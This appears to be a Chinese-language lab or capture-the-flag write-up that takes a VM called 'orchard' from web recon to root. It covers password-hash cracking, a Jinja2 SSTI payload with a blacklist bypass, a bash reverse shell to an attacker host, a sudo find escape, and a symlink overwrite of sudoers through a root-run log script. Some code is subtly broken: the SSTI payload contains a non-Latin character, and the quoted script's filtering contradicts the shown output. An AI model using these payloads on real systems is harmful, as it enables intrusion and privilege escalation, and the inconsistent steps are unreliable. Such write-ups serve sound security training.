

| orchard_daochunhan

| orchard

```
nmap 192.168.64.31
```

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-13 09:15 -0400
Nmap scan report for 192.168.64.31
Host is up (0.00029s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 66:FB:6A:FD:C9:C1 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds
```

端口：

```
22/tcp open  ssh
80/tcp open  http
```

| user

| 信息泄露

直接访问只有前端界面，没有找到什么信息，尝试爆破一下目录：

```
ffuf -u http://192.168.64.31/FUZZ -w $WEBWL/common.txt -ac -c
```

```

~/Documents/Tools (46.842s)
ffuf -u http://192.168.64.31/FUZZ -w $WEBWL/common.txt -ac -c

  ____  __  _  /'___\  /'___\  /'___\
 /_  \/_  \/_  \/_  \/_  \/_  \/_  \
/_  \/_  \/_  \/_  \/_  \/_  \/_  \
/_  \/_  \/_  \/_  \/_  \/_  \/_  \
/_  \/_  \/_  \/_  \/_  \/_  \/_  \

v2.1.0-dev

-----

:: Method      : GET
:: URL         : http://192.168.64.31/FUZZ
:: Wordlist    : FUZZ: /Users/daochunhan/Documents/Tools/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout     : 10
:: Threads    : 40
:: Matcher    : Response status: 200-299,301,302,307,401,403,405,500

-----

dashboard [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 356ms]
login     [Status: 200, Size: 2787, Words: 559, Lines: 58, Duration: 499ms]
logout    [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 480ms]
robots.txt [Status: 200, Size: 86, Words: 6, Lines: 6, Duration: 346ms]
:: Progress: [4752/4752] :: Job [1/1] :: 87 req/sec :: Duration: [0:00:46] :: Errors: 0 ::

```

`/login` 需要账号密码，先访问 `/robots.txt`：



`robots.txt` 暴露 `/admin/ /backup/ /dev/ /api/v2/`。

`/backup/` 直接列出了两个备份文件，可以直接下载：

```

/backup/config.bak      # config 备份文件
/backup/orchard.db      # SQLite

```

`config.bak`：

```
~/Downloads (0.023s)
```

```
cat config.bak
```

```
# Orchard System Configuration
```

```
DB_PATH = "/opt/orchard/data/orchard.db"
```

```
FLASK_ENV = "development"
```

```
DEBUG = True
```

说明这是 Orchard 系统的 Flask 配置备份，其中 `orchard.db` 文件是它的数据库。
已经通过 `/backup/` 下载到了 `orchard.db`，先查看这个数据库文件。

```
~/Downloads (0.026s)
```

```
file orchard.db
```

```
orchard.db: SQLite 3.x database, last written using SQLite version 3046001,  
for 6
```

```
~/Downloads (3m 58.78s)
```

```
sqlite3 orchard.db
```

```
SQLite version 3.51.0 2025-06-12 13:14:41
```

```
Enter ".help" for usage hints.
```

```
sqlite> .tables
```

```
products  reports  users
```

```
sqlite> .schema users
```

```
CREATE TABLE users (  
    id INTEGER PRIMARY KEY AUTOINCREMENT,  
    username TEXT UNIQUE NOT NULL,  
    password_hash TEXT NOT NULL,  
    role TEXT DEFAULT 'user',  
    email TEXT  
);
```

```
sqlite>
```

```
sqlite> SELECT * FROM users;
```

```
1|admin|$1$DePmfguF$MC9RGpIsLoloTaxkRKUxQ1|admin|admin@orchard.local
```

```
2|manager|$1$ch/3x.vf$G0A59Ev8objb1falGJdJOG0|manager|manager@orchard.local
```

```
3|picker|$1$WVTTBQHm$VKOMmplH4iLYuzFKzUjNJ.|user|picker@orchard.local
```

```
sqlite> .quit
```

三张表：产品信息、报告、用户账号信息。因为现在还没有登录的线索，先看一下 `users` 表。
`orchard.db` 里 `users` 表存了三个 `md5crypt($1$)` 哈希，保存一下用 john + rockyou 爆破：

```
john --wordlist="/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt" --format=md5crypt hashes.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
turtle          (manager)
dimple          (picker)
candygirl       (admin)
3g 0:00:00:01 DONE (2026-07-13 11:06) 2.400g/s 2803p/s 4416c/s 4416C/s mendez..wateva
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Jinja2 SSTI

用 `admin / candygirl` 登录后进 Generate Export Report:

Orchard MS Home Dashboard Admin admin

Export Report

Create a custom inventory report using Jinja2 template syntax.

Report Title:
Monthly Inventory Report

Template:

```
<h3></h3>
<p>Generated by: admin</p>
<table border="1">
<tr><th>Name</th><th>Qty</th><th>Value</th></tr>
</table>
<p>Total products: 0</p>
```

Generate Report

Generated Report:

Generated by: admin

Name	Qty	Value
------	-----	-------

Total products: 0

页面写着“Create a custom inventory report using **Jinja2 template syntax**”，`template` 字段直接当模板渲染。

尝试输入 `<h1>{{ 7 * 7 }}</h1>` 后 Generate Report:

Orchard MS

HomeDashboardAdminadmin

Export Report

Create a custom inventory report using Jinja2 template syntax.

Report Title:

Monthly Inventory Report

Template:

```
<h3></h3>
<p>Generated by: admin</p>
<table border="1">
<tr><th>Name</th><th>Qty</th><th>Value</th></tr>

</table>
<p>Total products: 0</p>
```

Generate Report

Generated Report:

49

确认存在 SSTI。

测试命令执行：

```
<pre>{{ cycler.__init__.__globals__.__os.popen('id').read() }}</pre>
```

Orchard MS

HomeDashboardAdminadmin

Export Report

Create a custom inventory report using Jinja2 template syntax.

Report Title:

Monthly Inventory Report

Template:

```
<h3></h3>
<p>Generated by: admin</p>
<table border="1">
<tr><th>Name</th><th>Qty</th><th>Value</th></tr>

</table>
<p>Total products: 0</p>
```

Generate Report

Error: Template security check failed: Pattern 'os' is not allowed in templates

© 2024 Orchard Analytics v1.0.3-beta

应用在 Jinja2 渲染前做了关键词黑名单检查，可能是字符串 `os` 被过滤了，如果只是简单的字符串过滤，那么就可以直接使用拼接的方法绕过黑名单，尝试拼接字符串执行命令：

```
<pre>{{ cyclер.__init__.__globals__['o'~'s'].popen('id').read() }}</pre>
```

The screenshot shows a web browser at the URL `192.168.64.31/admin/export`. The page title is "Orchard MS". The main content area is titled "Export Report" with the subtitle "Create a custom inventory report using Jinja2 template syntax." There are two input fields: "Report Title:" with the value "Monthly Inventory Report" and "Template:" containing a Jinja2 template. Below the template field is a green "Generate Report" button. At the bottom, there is a "Generated Report:" section showing the output: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.

拿到 `www-data`，尝试反弹 shell 到 kali，起监听后：

```
{{ cyclер.__init__.__globals__['o'~'s'].popen("bash -c 'bash -i >& /dev/tcp/192.168.64.10/4444 0>&1'").read() }}
```

```
daochunhan@kali /tmp (4m 56.00s)
rlwrap nc -lvnp 4444
rlwrap: warning: could not set locale
warnings can be silenced by the --no-warnings (-n) option
Listening on 0.0.0.0 4444
Connection received on 192.168.64.31 44682
bash: cannot set terminal process group (740): Inappropriate ioctl for device
bash: no job control in this shell
www-data@orchard:/opt/orchard$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@orchard:/opt/orchard$ sudo -l
sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on localhost:
    (appuser) NOPASSWD: /usr/bin/find
www-data@orchard:/opt/orchard$
```

www-data 可以免密码以 **appuser** 运行 **/usr/bin/find**，再让 **find** 的 **-exec** 启动 **bash**：

```
sudo -u appuser /usr/bin/find . -exec /bin/bash -i \; -quit
```

```
www-data@orchard:/opt/orchard$ sudo -u appuser /usr/bin/find . -exec /bin/bash -i \; -quit
<appuser /usr/bin/find . -exec /bin/bash -i \; -quit
bash: cannot set terminal process group (740): Inappropriate ioctl for device
bash: no job control in this shell
appuser@orchard:/opt/orchard$ id
id
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
appuser@orchard:/opt/orchard$ whoami
whoami
appuser
appuser@orchard:/opt/orchard$ cat ~/user.txt
cat ~/user.txt
flag{user-be8cea7e5cfc1308122d32645e632986}
appuser@orchard:/opt/orchard$
```

| **root**

| **logctl.sh**

```

appuser@orchard:/opt/orchard$ sudo -l
sudo -l
Matching Defaults entries for appuser on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User appuser may run the following commands on localhost:
    (root) NOPASSWD: /opt/orchard/logctl.sh
appuser@orchard:/opt/orchard$ ls -la /opt/orchard/logctl.sh
ls -la /opt/orchard/logctl.sh
-rwxr-xr-x 1 root root 1003 Jul 13 13:35 /opt/orchard/logctl.sh
appuser@orchard:/opt/orchard$ cat /opt/orchard/logctl.sh
cat /opt/orchard/logctl.sh
#!/bin/bash
set -e
CMD="$1"; NAME="$2"
LOGDIR="/var/log/orchard"

if [ -z "$CMD" ] || [ -z "$NAME" ]; then
    echo "Usage: $0 <archive|clean|write> <name>"; exit 1
fi

[[ "$NAME" =~ \.\. ]] && { echo "ERROR: path traversal blocked"; exit 1; }
[[ "$NAME" =~ / ]] && { echo "ERROR: slashes not allowed"; exit 1; }
[[ "$NAME" =~ [*?] ]] && { echo "ERROR: wildcards not allowed"; exit 1; }

NAME_CLEAN="${NAME//[a-zA-Z0-9_.-]/}"
LOGFILE="$LOGDIR/${NAME_CLEAN}.log"

case "$CMD" in
    archive)
        [ -f "$LOGFILE" ] || { echo "ERROR: $LOGFILE not found"; exit 1; }
        mkdir -p /backups
        gzip -c "$LOGFILE" > "/backups/${NAME_CLEAN}.log.gz"
        echo "OK: archived $LOGFILE" ;;
    clean)
        [ -f "$LOGFILE" ] || { echo "ERROR: $LOGFILE not found"; exit 1; }
        : > "$LOGFILE"
        echo "OK: cleaned $LOGFILE" ;;
    write)
        mkdir -p "$LOGDIR"
        cat >> "$LOGFILE"
        echo "OK: appended to $LOGFILE" ;;
    *) echo "ERROR: unknown command"; exit 1 ;;
esac
appuser@orchard:/opt/orchard$

```

`sudo -l` 显示 `appuser` 可以免密码、以 `root` 身份运行 `/opt/orchard/logctl.sh`。

脚本提供 `archive`、`clean` 和 `write` 三个操作。

但是对 `NAME` 做了过滤，禁止 `/` `..` 通配符，并把 `NAME` 收敛成 `[a-zA-Z0-9_.-]`，所以不能用 `NAME` 做路径穿越。

`/var/log/orchard` 的属组是 `appuser`，当前用户 `appuser` 可以在目录中创建、删除文件：

```
drwxrwxr-x    2 www-data appuser          4096 Jul 13 13:35 orchard
```

脚本虽然阻止了通过 `NAME` 路径穿越，但 `write` 分支最终会以 `root` 身份执行：

```
cat >> "$LOGFILE"
```

当参数为 `write sud` 时，`LOGFILE` 被拼接为：


```
/var/log/orchard/sud.log
```

而 `/opt/orchard/logctl.sh` 没有检查 `/var/log/orchard/sud.log` 是不是符号链接，由于 `appuser` 对日志目录可写，可以将 `sud.log` 替换为指向 `/etc/sudoers.d/pwn` 的软链接。随后 `root` 权限的 `cat >>` 会跟随软链接，将可控内容写入 `sudoers` 配置文件，直接 `NOPASSWD ALL` 即可：

```
rm -f /var/log/orchard/sud.log
ln -s /etc/sudoers.d/pwn /var/log/orchard/sud.log
printf 'appuser ALL=(ALL:ALL) NOPASSWD: ALL\n' | sudo /opt/orchard/logctl.sh
write sud
```

```
appuser@orchard:/opt/orchard$ rm -f /var/log/orchard/sud.log
rm -f /var/log/orchard/sud.log
appuser@orchard:/opt/orchard$ ln -s /etc/sudoers.d/pwn /var/log/orchard/sud.log
ln -s /etc/sudoers.d/pwn /var/log/orchard/sud.log
appuser@orchard:/opt/orchard$ ls -l /var/log/orchard/sud.log
ls -l /var/log/orchard/sud.log
lrwxrwxrwx 1 appuser appuser 18 Jul 13 14:31 /var/log/orchard/sud.log -> /etc/sudoers.d/pwn
appuser@orchard:/opt/orchard$ printf 'appuser ALL=(ALL:ALL) NOPASSWD: ALL\n' | sudo /opt/orchard/logctl.sh write sud
printf 'appuser ALL=(ALL:ALL) NOPASSWD: ALL\n' | sudo /opt/orchard/logctl.sh write sud
OK: appended to /var/log/orchard/sud.log
appuser@orchard:/opt/orchard$ sudo -n -i
sudo -n -i
root@orchard:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@orchard:~# whoami
whoami
root
root@orchard:~# cat /root/root.txt
cat /root/root.txt
flag{root-c6dfd276cca18d48b7b526f8b83560f3}
root@orchard:~#
```